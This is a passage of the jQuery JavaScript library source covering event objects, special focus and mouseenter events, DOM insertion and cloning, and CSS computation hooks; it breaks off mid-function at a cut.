jQuery.Event.prototype = {
	constructor: jQuery.Event,
	isDefaultPrevented: returnFalse,
	isPropagationStopped: returnFalse,
	isImmediatePropagationStopped: returnFalse,
	isSimulated: false,

	preventDefault: function() {
		var e = this.originalEvent;

		this.isDefaultPrevented = returnTrue;

		if ( e && !this.isSimulated ) {
			e.preventDefault();
		}
	},
	stopPropagation: function() {
		var e = this.originalEvent;

		this.isPropagationStopped = returnTrue;

		if ( e && !this.isSimulated ) {
			e.stopPropagation();
		}
	},
	stopImmediatePropagation: function() {
		var e = this.originalEvent;

		this.isImmediatePropagationStopped = returnTrue;

		if ( e && !this.isSimulated ) {
			e.stopImmediatePropagation();
		}

		this.stopPropagation();
	}
};

// Includes all common event props including KeyEvent and MouseEvent specific props
jQuery.each( {
	altKey: true,
	bubbles: true,
	cancelable: true,
	changedTouches: true,
	ctrlKey: true,
	detail: true,
	eventPhase: true,
	metaKey: true,
	pageX: true,
	pageY: true,
	shiftKey: true,
	view: true,
	"char": true,
	code: true,
	charCode: true,
	key: true,
	keyCode: true,
	button: true,
	buttons: true,
	clientX: true,
	clientY: true,
	offsetX: true,
	offsetY: true,
	pointerId: true,
	pointerType: true,
	screenX: true,
	screenY: true,
	targetTouches: true,
	toElement: true,
	touches: true,
	which: true
}, jQuery.event.addProp );

jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) {
	jQuery.event.special[ type ] = {

		// Utilize native event if possible so blur/focus sequence is correct
		setup: function() {

			// Claim the first handler
			// dataPriv.set( this, "focus", ... )
			// dataPriv.set( this, "blur", ... )
			leverageNative( this, type, expectSync );

			// Return false to allow normal processing in the caller
			return false;
		},
		trigger: function() {

			// Force setup before trigger
			leverageNative( this, type );

			// Return non-false to allow normal event-path propagation
			return true;
		},

		// Suppress native focus or blur as it's already being fired
		// in leverageNative.
		_default: function() {
			return true;
		},

		delegateType: delegateType
	};
} );

// Create mouseenter/leave events using mouseover/out and event-time checks
// so that event delegation works in jQuery.
// Do the same for pointerenter/pointerleave and pointerover/pointerout
//
// Support: Safari 7 only
// Safari sends mouseenter too often; see:
// https://bugs.chromium.org/p/chromium/issues/detail?id=470258
// for the description of the bug (it existed in older Chrome versions as well).
jQuery.each( {
	mouseenter: "mouseover",
	mouseleave: "mouseout",
	pointerenter: "pointerover",
	pointerleave: "pointerout"
}, function( orig, fix ) {
	jQuery.event.special[ orig ] = {
		delegateType: fix,
		bindType: fix,

		handle: function( event ) {
			var ret,
				target = this,
				related = event.relatedTarget,
				handleObj = event.handleObj;

			// For mouseenter/leave call the handler if related is outside the target.
			// NB: No relatedTarget if the mouse left/entered the browser window
			if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
				event.type = handleObj.origType;
				ret = handleObj.handler.apply( this, arguments );
				event.type = fix;
			}
			return ret;
		}
	};
} );

jQuery.fn.extend( {

	on: function( types, selector, data, fn ) {
		return on( this, types, selector, data, fn );
	},
	one: function( types, selector, data, fn ) {
		return on( this, types, selector, data, fn, 1 );
	},
	off: function( types, selector, fn ) {
		var handleObj, type;
		if ( types && types.preventDefault && types.handleObj ) {

			// ( event )  dispatched jQuery.Event
			handleObj = types.handleObj;
			jQuery( types.delegateTarget ).off(
				handleObj.namespace ?
					handleObj.origType + "." + handleObj.namespace :
					handleObj.origType,
				handleObj.selector,
				handleObj.handler
			);
			return this;
		}
		if ( typeof types === "object" ) {

			// ( types-object [, selector] )
			for ( type in types ) {
				this.off( type, selector, types[ type ] );
			}
			return this;
		}
		if ( selector === false || typeof selector === "function" ) {

			// ( types [, fn] )
			fn = selector;
			selector = undefined;
		}
		if ( fn === false ) {
			fn = returnFalse;
		}
		return this.each( function() {
			jQuery.event.remove( this, types, fn, selector );
		} );
	}
} );


var

	// Support: IE <=10 - 11, Edge 12 - 13 only
	// In IE/Edge using regex groups here causes severe slowdowns.
	// See https://connect.microsoft.com/IE/feedback/details/1736512/
	rnoInnerhtml = /<script|<style|<link/i,

	// checked="checked" or checked
	rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
	rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;

// Prefer a tbody over its parent table for containing new rows
function manipulationTarget( elem, content ) {
	if ( nodeName( elem, "table" ) &&
		nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) {

		return jQuery( elem ).children( "tbody" )[ 0 ] || elem;
	}

	return elem;
}

// Replace/restore the type attribute of script elements for safe DOM manipulation
function disableScript( elem ) {
	elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type;
	return elem;
}
function restoreScript( elem ) {
	if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) {
		elem.type = elem.type.slice( 5 );
	} else {
		elem.removeAttribute( "type" );
	}

	return elem;
}

function cloneCopyEvent( src, dest ) {
	var i, l, type, pdataOld, udataOld, udataCur, events;

	if ( dest.nodeType !== 1 ) {
		return;
	}

	// 1. Copy private data: events, handlers, etc.
	if ( dataPriv.hasData( src ) ) {
		pdataOld = dataPriv.get( src );
		events = pdataOld.events;

		if ( events ) {
			dataPriv.remove( dest, "handle events" );

			for ( type in events ) {
				for ( i = 0, l = events[ type ].length; i < l; i++ ) {
					jQuery.event.add( dest, type, events[ type ][ i ] );
				}
			}
		}
	}

	// 2. Copy user data
	if ( dataUser.hasData( src ) ) {
		udataOld = dataUser.access( src );
		udataCur = jQuery.extend( {}, udataOld );

		dataUser.set( dest, udataCur );
	}
}

// Fix IE bugs, see support tests
function fixInput( src, dest ) {
	var nodeName = dest.nodeName.toLowerCase();

	// Fails to persist the checked state of a cloned checkbox or radio button.
	if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
		dest.checked = src.checked;

	// Fails to return the selected option to the default selected state when cloning options
	} else if ( nodeName === "input" || nodeName === "textarea" ) {
		dest.defaultValue = src.defaultValue;
	}
}

function domManip( collection, args, callback, ignored ) {

	// Flatten any nested arrays
	args = flat( args );

	var fragment, first, scripts, hasScripts, node, doc,
		i = 0,
		l = collection.length,
		iNoClone = l - 1,
		value = args[ 0 ],
		valueIsFunction = isFunction( value );

	// We can't cloneNode fragments that contain checked, in WebKit
	if ( valueIsFunction ||
			( l > 1 && typeof value === "string" &&
				!support.checkClone && rchecked.test( value ) ) ) {
		return collection.each( function( index ) {
			var self = collection.eq( index );
			if ( valueIsFunction ) {
				args[ 0 ] = value.call( this, index, self.html() );
			}
			domManip( self, args, callback, ignored );
		} );
	}

	if ( l ) {
		fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
		first = fragment.firstChild;

		if ( fragment.childNodes.length === 1 ) {
			fragment = first;
		}

		// Require either new content or an interest in ignored elements to invoke the callback
		if ( first || ignored ) {
			scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
			hasScripts = scripts.length;

			// Use the original fragment for the last item
			// instead of the first because it can end up
			// being emptied incorrectly in certain situations (#8070).
			for ( ; i < l; i++ ) {
				node = fragment;

				if ( i !== iNoClone ) {
					node = jQuery.clone( node, true, true );

					// Keep references to cloned scripts for later restoration
					if ( hasScripts ) {

						// Support: Android <=4.0 only, PhantomJS 1 only
						// push.apply(_, arraylike) throws on ancient WebKit
						jQuery.merge( scripts, getAll( node, "script" ) );
					}
				}

				callback.call( collection[ i ], node, i );
			}

			if ( hasScripts ) {
				doc = scripts[ scripts.length - 1 ].ownerDocument;

				// Reenable scripts
				jQuery.map( scripts, restoreScript );

				// Evaluate executable scripts on first document insertion
				for ( i = 0; i < hasScripts; i++ ) {
					node = scripts[ i ];
					if ( rscriptType.test( node.type || "" ) &&
						!dataPriv.access( node, "globalEval" ) &&
						jQuery.contains( doc, node ) ) {

						if ( node.src && ( node.type || "" ).toLowerCase()  !== "module" ) {

							// Optional AJAX dependency, but won't run scripts if not present
							if ( jQuery._evalUrl && !node.noModule ) {
								jQuery._evalUrl( node.src, {
									nonce: node.nonce || node.getAttribute( "nonce" )
								}, doc );
							}
						} else {
							DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc );
						}
					}
				}
			}
		}
	}

	return collection;
}

function remove( elem, selector, keepData ) {
	var node,
		nodes = selector ? jQuery.filter( selector, elem ) : elem,
		i = 0;

	for ( ; ( node = nodes[ i ] ) != null; i++ ) {
		if ( !keepData && node.nodeType === 1 ) {
			jQuery.cleanData( getAll( node ) );
		}

		if ( node.parentNode ) {
			if ( keepData && isAttached( node ) ) {
				setGlobalEval( getAll( node, "script" ) );
			}
			node.parentNode.removeChild( node );
		}
	}

	return elem;
}

jQuery.extend( {
	htmlPrefilter: function( html ) {
		return html;
	},

	clone: function( elem, dataAndEvents, deepDataAndEvents ) {
		var i, l, srcElements, destElements,
			clone = elem.cloneNode( true ),
			inPage = isAttached( elem );

		// Fix IE cloning issues
		if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
				!jQuery.isXMLDoc( elem ) ) {

			// We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2
			destElements = getAll( clone );
			srcElements = getAll( elem );

			for ( i = 0, l = srcElements.length; i < l; i++ ) {
				fixInput( srcElements[ i ], destElements[ i ] );
			}
		}

		// Copy the events from the original to the clone
		if ( dataAndEvents ) {
			if ( deepDataAndEvents ) {
				srcElements = srcElements || getAll( elem );
				destElements = destElements || getAll( clone );

				for ( i = 0, l = srcElements.length; i < l; i++ ) {
					cloneCopyEvent( srcElements[ i ], destElements[ i ] );
				}
			} else {
				cloneCopyEvent( elem, clone );
			}
		}

		// Preserve script evaluation history
		destElements = getAll( clone, "script" );
		if ( destElements.length > 0 ) {
			setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
		}

		// Return the cloned set
		return clone;
	},

	cleanData: function( elems ) {
		var data, elem, type,
			special = jQuery.event.special,
			i = 0;

		for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {
			if ( acceptData( elem ) ) {
				if ( ( data = elem[ dataPriv.expando ] ) ) {
					if ( data.events ) {
						for ( type in data.events ) {
							if ( special[ type ] ) {
								jQuery.event.remove( elem, type );

							// This is a shortcut to avoid jQuery.event.remove's overhead
							} else {
								jQuery.removeEvent( elem, type, data.handle );
							}
						}
					}

					// Support: Chrome <=35 - 45+
					// Assign undefined instead of using delete, see Data#remove
					elem[ dataPriv.expando ] = undefined;
				}
				if ( elem[ dataUser.expando ] ) {

					// Support: Chrome <=35 - 45+
					// Assign undefined instead of using delete, see Data#remove
					elem[ dataUser.expando ] = undefined;
				}
			}
		}
	}
} );

jQuery.fn.extend( {
	detach: function( selector ) {
		return remove( this, selector, true );
	},

	remove: function( selector ) {
		return remove( this, selector );
	},

	text: function( value ) {
		return access( this, function( value ) {
			return value === undefined ?
				jQuery.text( this ) :
				this.empty().each( function() {
					if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
						this.textContent = value;
					}
				} );
		}, null, value, arguments.length );
	},

	append: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
				var target = manipulationTarget( this, elem );
				target.appendChild( elem );
			}
		} );
	},

	prepend: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
				var target = manipulationTarget( this, elem );
				target.insertBefore( elem, target.firstChild );
			}
		} );
	},

	before: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.parentNode ) {
				this.parentNode.insertBefore( elem, this );
			}
		} );
	},

	after: function() {
		return domManip( this, arguments, function( elem ) {
			if ( this.parentNode ) {
				this.parentNode.insertBefore( elem, this.nextSibling );
			}
		} );
	},

	empty: function() {
		var elem,
			i = 0;

		for ( ; ( elem = this[ i ] ) != null; i++ ) {
			if ( elem.nodeType === 1 ) {

				// Prevent memory leaks
				jQuery.cleanData( getAll( elem, false ) );

				// Remove any remaining nodes
				elem.textContent = "";
			}
		}

		return this;
	},

	clone: function( dataAndEvents, deepDataAndEvents ) {
		dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
		deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;

		return this.map( function() {
			return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
		} );
	},

	html: function( value ) {
		return access( this, function( value ) {
			var elem = this[ 0 ] || {},
				i = 0,
				l = this.length;

			if ( value === undefined && elem.nodeType === 1 ) {
				return elem.innerHTML;
			}

			// See if we can take a shortcut and just use innerHTML
			if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
				!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {

				value = jQuery.htmlPrefilter( value );

				try {
					for ( ; i < l; i++ ) {
						elem = this[ i ] || {};

						// Remove element nodes and prevent memory leaks
						if ( elem.nodeType === 1 ) {
							jQuery.cleanData( getAll( elem, false ) );
							elem.innerHTML = value;
						}
					}

					elem = 0;

				// If using innerHTML throws an exception, use the fallback method
				} catch ( e ) {}
			}

			if ( elem ) {
				this.empty().append( value );
			}
		}, null, value, arguments.length );
	},

	replaceWith: function() {
		var ignored = [];

		// Make the changes, replacing each non-ignored context element with the new content
		return domManip( this, arguments, function( elem ) {
			var parent = this.parentNode;

			if ( jQuery.inArray( this, ignored ) < 0 ) {
				jQuery.cleanData( getAll( this ) );
				if ( parent ) {
					parent.replaceChild( elem, this );
				}
			}

		// Force callback invocation
		}, ignored );
	}
} );

jQuery.each( {
	appendTo: "append",
	prependTo: "prepend",
	insertBefore: "before",
	insertAfter: "after",
	replaceAll: "replaceWith"
}, function( name, original ) {
	jQuery.fn[ name ] = function( selector ) {
		var elems,
			ret = [],
			insert = jQuery( selector ),
			last = insert.length - 1,
			i = 0;

		for ( ; i <= last; i++ ) {
			elems = i === last ? this : this.clone( true );
			jQuery( insert[ i ] )[ original ]( elems );

			// Support: Android <=4.0 only, PhantomJS 1 only
			// .get() because push.apply(_, arraylike) throws on ancient WebKit
			push.apply( ret, elems.get() );
		}

		return this.pushStack( ret );
	};
} );
var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );

var getStyles = function( elem ) {

		// Support: IE <=11 only, Firefox <=30 (#15098, #14150)
		// IE throws on elements created in popups
		// FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
		var view = elem.ownerDocument.defaultView;

		if ( !view || !view.opener ) {
			view = window;
		}

		return view.getComputedStyle( elem );
	};

var swap = function( elem, options, callback ) {
	var ret, name,
		old = {};

	// Remember the old values, and insert the new ones
	for ( name in options ) {
		old[ name ] = elem.style[ name ];
		elem.style[ name ] = options[ name ];
	}

	ret = callback.call( elem );

	// Revert the old values
	for ( name in options ) {
		elem.style[ name ] = old[ name ];
	}

	return ret;
};


var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );



( function() {

	// Executing both pixelPosition & boxSizingReliable tests require only one layout
	// so they're executed at the same time to save the second computation.
	function computeStyleTests() {

		// This is a singleton, we need to execute it only once
		if ( !div ) {
			return;
		}

		container.style.cssText = "position:absolute;left:-11111px;width:60px;" +
			"margin-top:1px;padding:0;border:0";
		div.style.cssText =
			"position:relative;display:block;box-sizing:border-box;overflow:scroll;" +
			"margin:auto;border:1px;padding:1px;" +
			"width:60%;top:1%";
		documentElement.appendChild( container ).appendChild( div );

		var divStyle = window.getComputedStyle( div );
		pixelPositionVal = divStyle.top !== "1%";

		// Support: Android 4.0 - 4.3 only, Firefox <=3 - 44
		reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;

		// Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3
		// Some styles come back with percentage values, even though they shouldn't
		div.style.right = "60%";
		pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;

		// Support: IE 9 - 11 only
		// Detect misreporting of content dimensions for box-sizing:border-box elements
		boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;

		// Support: IE 9 only
		// Detect overflow:scroll screwiness (gh-3699)
		// Support: Chrome <=64
		// Don't get tricked when zoom affects offsetWidth (gh-4029)
		div.style.position = "absolute";
		scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12;

		documentElement.removeChild( container );

		// Nullify the div so it wouldn't be stored in the memory and
		// it will also be a sign that checks already performed
		div = null;
	}

	function roundPixelMeasures( measure ) {
		return Math.round( parseFloat( measure ) );
	}

	var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,
		reliableTrDimensionsVal, reliableMarginLeftVal,
		container = document.createElement( "div" ),
		div = document.createElement( "div" );

	// Finish early in limited (non-browser) environments
	if ( !div.style ) {
		return;
	}

	// Support: IE <=9 - 11 only
	// Style of cloned element affects source element cloned (#8908)
	div.style.backgroundClip = "content-box";
	div.cloneNode( true ).style.backgroundClip = "";
	support.clearCloneStyle = div.style.backgroundClip === "content-box";

	jQuery.extend( support, {
		boxSizingReliable: function() {
			computeStyleTests();
			return boxSizingReliableVal;
		},
		pixelBoxStyles: function() {
			computeStyleTests();
			return pixelBoxStylesVal;
		},
		pixelPosition: function() {
			computeStyleTests();
			return pixelPositionVal;
		},
		reliableMarginLeft: function() {
			computeStyleTests();
			return reliableMarginLeftVal;
		},
		scrollboxSize: function() {
			computeStyleTests();
			return scrollboxSizeVal;
		},

		// Support: IE 9 - 11+, Edge 15 - 18+
		// IE/Edge misreport `getComputedStyle` of table rows with width/height
		// set in CSS while `offset*` properties report correct values.
		// Behavior in IE 9 is more subtle than in newer versions & it passes
		// some versions of this test; make sure not to make it pass there!
		//
		// Support: Firefox 70+
		// Only Firefox includes border widths
		// in computed dimensions. (gh-4529)
		reliableTrDimensions: function() {
			var table, tr, trChild, trStyle;
			if ( reliableTrDimensionsVal == null ) {
				table = document.createElement( "table" );
				tr = document.createElement( "tr" );
				trChild = document.createElement( "div" );

				table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate";
				tr.style.cssText = "border:1px solid";

				// Support: Chrome 86+
				// Height set through cssText does not get applied.
				// Computed height then comes back as 0.
				tr.style.height = "1px";
				trChild.style.height = "9px";

				// Support: Android 8 Chrome 86+
				// In our bodyBackground.html iframe,
				// display for all div elements is set to "inline",
				// which causes a problem only in Android 8 Chrome 86.
				// Ensuring the div is display: block
				// gets around this issue.
				trChild.style.display = "block";

				documentElement
					.appendChild( table )
					.appendChild( tr )
					.appendChild( trChild );

				trStyle = window.getComputedStyle( tr );
				reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) +
					parseInt( trStyle.borderTopWidth, 10 ) +
					parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight;

				documentElement.removeChild( table );
			}
			return reliableTrDimensionsVal;
		}
	} );
} )();


function curCSS( elem, name, computed ) {
	var width, minWidth, maxWidth, ret,

		// Support: Firefox 51+
		// Retrieving style before computed somehow
		// fixes an issue with getting wrong values
		// on detached elements
		style = elem.style;

	computed = computed || getStyles( elem );

	// getPropertyValue is needed for:
	//   .css('filter') (IE 9 only, #12537)
	//   .css('--customProperty) (#3144)
	if ( computed ) {
		ret = computed.getPropertyValue( name ) || computed[ name ];

		if ( ret === "" && !isAttached( elem ) ) {
			ret = jQuery.style( elem, name );
		}

		// A tribute to the "awesome hack by Dean Edwards"
		// Android Browser returns percentage for some values,
		// but width seems to be reliably pixels.
		// This is against the CSSOM draft spec:
		// https://drafts.csswg.org/cssom/#resolved-values
		if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {

			// Remember the original values
			width = style.width;
			minWidth = style.minWidth;
			maxWidth = style.maxWidth;

			// Put in the new values to get a computed value out
			style.minWidth = style.maxWidth = style.width = ret;
			ret = computed.width;

			// Revert the changed values
			style.width = width;
			style.minWidth = minWidth;
			style.maxWidth = maxWidth;
		}
	}

	return ret !== undefined ?

		// Support: IE <=9 - 11 only
		// IE returns zIndex value as an integer.
		ret + "" :
		ret;
}


function addGetHookIf( conditionFn, hookFn ) {

	// Define the hook, we'll check on the first run if it's really needed.
	return {
		get: function() {
			if ( conditionFn() ) {

				// Hook not needed (or it's not possible to use it due
				// to missing dependency), remove it.
				delete this.get;
				return;
			}

			// Hook needed; redefine it so that the support test is not executed again.
			return ( this.get = hookFn ).apply( this, arguments );
		}
	};
}


var cssPrefixes = [ "Webkit", "Moz", "ms" ],
	emptyStyle = document.createElement( "div" ).style,
	vendorProps = {};

// Return a vendor-prefixed property or undefined
function vendorPropName( name ) {

	// Check for vendor prefixed names
	var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),
		i = cssPrefixes.length;

	while ( i-- ) {
		name = cssPrefixes[ i ] + capName;
		if ( name in emptyStyle ) {
			return name;
		}
	}
}

// Return a potentially-mapped jQuery.cssProps or vendor prefixed property
function finalPropName( name ) {
	var final = jQuery.cssProps[ name ] || vendorProps[ name ];

	if ( final ) {
		return final;
	}
	if ( name in emptyStyle ) {
		return name;
	}
	return vendorProps[ name ] = vendorPropName( name ) || name;
}


var

	// Swappable if display is none or starts with table
	// except "table", "table-cell", or "table-caption"
	// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
	rdisplayswap = /^(none|table(?!-c[ea]).+)/,
	rcustomProp = /^--/,
	cssShow = { position: "absolute", visibility: "hidden", display: "block" },
	cssNormalTransform = {
		letterSpacing: "0",
		fontWeight: "400"
	};

function setPositiveNumber( _elem, value, subtract ) {

	// Any relative (+/-) values have already been
	// normalized at this point
	var matches = rcssNum.exec( value );
	return matches ?

		// Guard against undefined "subtract", e.g., when used as in cssHooks
		Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) :
		value;
}

function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {
	var i = dimension === "width" ? 1 : 0,
		extra = 0,
		delta = 0;

	// Adjustment may not be necessary
	if ( box === ( isBorderBox ? "border" : "content" ) ) {
		return 0;
	}

	for ( ; i < 4; i += 2 ) {

		// Both box models exclude margin
		if ( box === "margin" ) {
			delta += jQuery.css( elem, box + cssExpand[ i ], true, styles );
		}

		// If we get here with a content-box, we're seeking "padding" or "border" or "margin"
		if ( !isBorderBox ) {

			// Add padding
			delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );

			// For "border" or "margin", add border
			if ( box !== "padding" ) {
				delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );

			// But still keep track of it otherwise
			} else {
				extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
			}

		// If we get here with a border-box (content + padding + border), we're seeking "content" or
		// "padding" or "margin"
		} else {

			// For "content", subtract padding
			if ( box === "content" ) {
				delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
			}

			// For "content" or "padding", subtract border
			if ( box !== "margin" ) {
				delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
			}
		}
	}

	// Account for positive content-box scroll gutter when requested by providing computedVal
	if ( !isBorderBox && computedVal >= 0 ) {

		// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border
		// Assuming integer scroll gutter, subtract the rest and round down
		delta += Math.max( 0, Math.ceil(
			elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
			computedVal -
			delta -
			extra -
			0.5

		// If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter
		// Use an explicit zero to avoid NaN (gh-3964)
		) ) || 0;
	}

	return delta;
}

function getWidthOrHeight( elem, dimension, extra ) {

	// Start with computed style
	var styles = getStyles( elem ),

		// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322).
		// Fake content-box until we know it's needed to know the true value.
		boxSizingNeeded = !support.boxSizingReliable() || extra,
		isBorderBox = boxSizingNeeded &&
			jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
		valueIsBorderBox = isBorderBox,

		val = curCSS( elem, dimension, styles ),
		offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 );

	// Support: Firefox <=54
	// Return a confounding non-pixel value or feign ignorance, as appropriate.
	if ( rnumnonpx.test( val ) ) {
		if ( !extra ) {
			return val;
		}
		val = "auto";
	}


	// Support: IE 9 - 11 only
	// Use offsetWidth/offsetHeight for when box sizing is unreliable.
	// In those cases, the computed value can be trusted to be border-box.
	if ( ( !support.boxSizingReliable() && isBorderBox ||

		// Support: IE 10 - 11+, Edge 15 - 18+
		// IE/Edge misreport `getComputedStyle` of table rows with width/height
		// set in CSS while `offset*` properties report correct values.
		// Interestingly, in some cases IE 9 doesn't suffer from this issue.
		!support.reliableTrDimensions() && nodeName( elem, "tr" ) ||

		// Fall back to offsetWidth/offsetHeight when value is "auto"
		// This happens for inline elements with no explicit setting (gh-3571)
		val === "auto" ||

		// Support: Android <=4.1 - 4.3 only
		// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)
		!parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) &&

		// Make sure the element is visible & connected
		elem.getClientRects().length ) {

		isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box";

		// Where available, offsetWidth/offsetHeight approximate border box dimensions.
		// Where not available (e.g., SVG), assume unreliable box-sizing and interpret the
		// retrieved value as a content box dimension.
		valueIsBorderBox = offsetProp in elem;
		if ( valueIsBorderBox ) {
			val = elem[ offsetProp ];
		}
	}

	// Normalize "" and auto
	val = parseFloat( val ) || 0;

	// Adjust for the element's box model
	return ( val +
		boxModelAdjustment(
			elem,
			dimension,
			extra || ( isBorderBox ? "border" : "content" ),
			valueIsBorderBox,
			styles,

			// Provide the current computed size to request scroll gutter calculation (gh-3589)
			val
		)
	) + "px";
}

jQuery.extend( {

	// Add in style property hooks for overriding the default
	// behavior of getting and setting a style property
	cssHooks: {
		opacity: {
			get: function( elem, computed ) {
				if ( computed ) {

					// We should always get a number back from opacity
					var ret = curCSS( elem, "opacity" );
					return ret === "" ? "1" : ret;
				}
			}
		}
	},

	// Don't automatically add "px" to these possibly-unitless properties
	cssNumber: {
		"animationIterationCount": true,
		"columnCount": true,
		"fillOpacity": true,
		"flexGrow": true,
		"flexShrink": true,
		"fontWeight": true,
		"gridArea": true,
		"gridColumn": true,
		"gridColumnEnd": true,
		"gridColumnStart": true,
		"gridRow": true,
		"gridRowEnd": true,
		"gridRowStart": true,
		"lineHeight": true,
		"opacity": true,
		"order": true,
		"orphans": true,
		"widows": true,
		"zIndex": true,
		"zoom": true
	},

	// Add in properties whose names you wish to fix before
	// setting or getting the value
	cssProps: {},

	// Get and set the style property on a DOM Node
	style: function( elem, name, value, extra ) {

		// Don't set styles on text and comment nodes
		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
			return;
		}

		// Make sure that we're working with the right name
		var ret, type, hooks,
			origName = camelCase( name ),
			isCustomProp = rcustomProp.test( name ),
			style = elem.style;

		// Make sure that we're working with the right name. We don't
		// want to query the value if it is a CSS custom property
		// since they are user-defined.
		if ( !isCustomProp ) {
			name = finalPropName( origName );
		}

		// Gets hook for the prefixed version, then unprefixed version
		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];

		// Check if we're setting a value
		if ( value !== undefined ) {
			type = typeof value;

			// Convert "+=" or "-=" to relative numbers (#7345)
			if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
				value = adjustCSS( elem, name, ret );

				// Fixes bug #9237
				type = "number";
			}

			// Make sure that null and NaN values aren't set (#7116)
			if ( value == null || value !== value ) {
				return;
			}

			// If a number was passed in, add the unit (except for certain CSS properties)
			// The isCustomProp check can be removed in jQuery 4.0 when we only auto-append
			// "px" to a few hardcoded values.
			if ( type === "number" && !isCustomProp ) {
				value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
			}

			// background-* props affect original clone's values
			if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
				style[ name ] = "inherit";
			}

			// If a hook was provided, use that value, otherwise just set the specified value
			if ( !hooks || !( "set" in hooks ) ||
				( value = hooks.set( elem, value, extra ) ) !== undefined ) {

				if ( isCustomProp ) {
					style.setProperty( name, value );
				} else {
					style[ name ] = value;
				}
			}

		} else {

			// If a hook was provided get the non-computed value from there
			if ( hooks && "get" in hooks &&
				( ret = hooks.get( elem, false, extra ) ) !== undefined ) {

				return ret;
			}

			// Otherwise just get the value from the style object
			return style[ name ];
		}
	},

	css: function( elem, name, extra, styles ) {
		var val, num, hooks,
			origName = camelCase( name ),
			isCustomProp = rcustomProp.test( name );

		// Make sure that we're working with the right name. We don't
		// want to modify the value if it is a CSS custom property
		// since they are user-defined.
		if ( !isCustomProp ) {
			name = finalPropName( origName );
		}

		// Try prefixed name followed by the unprefixed name
		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];

		// If a hook was provided get the computed value from there
		if ( hooks && "get" in hooks ) {
			val = hooks.get( elem, true, extra );
		}

		// Otherwise, if a way to get the computed value exists, use that
		if ( val === undefined ) {
			val = curCSS( elem, name, styles );
		}

		// Convert "normal" to computed value
		if ( val === "normal" && name in cssNormalTransform ) {
			val = cssNormalTransform[ name ];
		}

		// Make numeric if forced or a qualifier was provided and val looks numeric
		if ( extra === "" || extra ) {
			num = parseFloat( val );
			return extra === true || isFinite( num ) ? num || 0 : val;
		}

		return val;
	}
} );

jQuery.each( [ "height", "width" ], function( _i, dimension ) {
	jQuery.cssHooks[ dimension ] = {
		get: function( elem, computed, extra ) {
			if ( computed ) {

				// Certain elements can have dimension info if we invisibly show them
				// but it must have a current display style that would benefit
				return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&

					// Support: Safari 8+
					// Table columns in Safari have non-zero offsetWidth & zero
					// getBoundingClientRect().width unless display is changed.
					// Support: IE <=11 only
